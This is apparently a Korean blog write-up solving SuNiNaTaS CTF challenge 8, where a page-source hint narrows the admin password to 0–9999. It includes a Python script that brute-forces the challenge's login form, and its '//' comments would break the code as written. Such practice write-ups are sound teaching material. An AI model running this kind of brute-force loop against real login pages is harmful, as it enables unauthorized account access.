본문 바로가기
CTF/SuNiNaTaS

[CTF] SuNiNaTaS(써니나타스) 8번 Write-Up | Web

by spareone 2022. 10. 5.

써니나타스 8번 문제풀이 Write Up 입니다.

[그림 1] Level 8 페이지

로그인 창이 보입니다.

[그림 2] Level 8 소스코드

F12를 눌러보니 힌트가 보입니다. ID는 admin이고 PW는 0부터 9999 중 하나라고 합니다.

어짜피 0~9999니까, brute force 때려서 문제 풀도록 하겠습니다.

import requests
from bs4 import BeautifulSoup as bs

URL = 'http://suninatas.com/challenge/web08/web08.asp'

for i in range(0,10000):  // 0 ~ 9999 반복
    data = {'id' : 'admin', 'pw' : i}  // 로그인 데이터 변수

    res = requests.post(URL, data = data)  // post로 로그인 데이터 전송
    ctf = bs(res.content, 'html.parser')   // bs로 html.parser 가져오기
    result = ctf.select_one('table > tr:nth-of-type(5)').get_text().strip()  // Login 버튼 밑에 있는 글자 가져오기

    print(str(i) + " : " + result)  // 결과 출력

    if(result != "Password Incorrect!"):  // PW 일치하면 반복 종료
       break

python으로 접속 후 0 ~ 9999 입력하는 코드입니다.

library는 requests, BeautifulSoup를 사용했습니다.

[그림 3] Brute force에 성공한 모습

python으로 해당 코드를 실행한 뒤 인내심을 가지고 기다리면 flag가 나옵니다.

댓글